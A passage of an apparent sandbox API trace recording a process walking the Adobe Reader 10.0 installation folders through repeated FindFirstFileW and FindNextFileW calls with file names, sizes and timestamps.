dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0148.720] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.720] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.720] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0148.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.720] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0148.721] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0148.721] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.723] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0148.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0148.724] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.724] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.724] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0148.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.724] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0148.725] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0148.725] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0148.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0148.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0148.727] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.727] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0148.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.728] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.729] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0148.729] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0148.730] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.730] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0148.730] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0148.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.730] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0148.730] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.730] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0148.731] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.732] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.732] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0148.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0148.734] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.735] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0148.735] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.737] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.737] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.737] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0148.738] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.925] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.925] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.925] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.925] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0148.925] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.925] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.925] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.926] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.926] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0148.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, 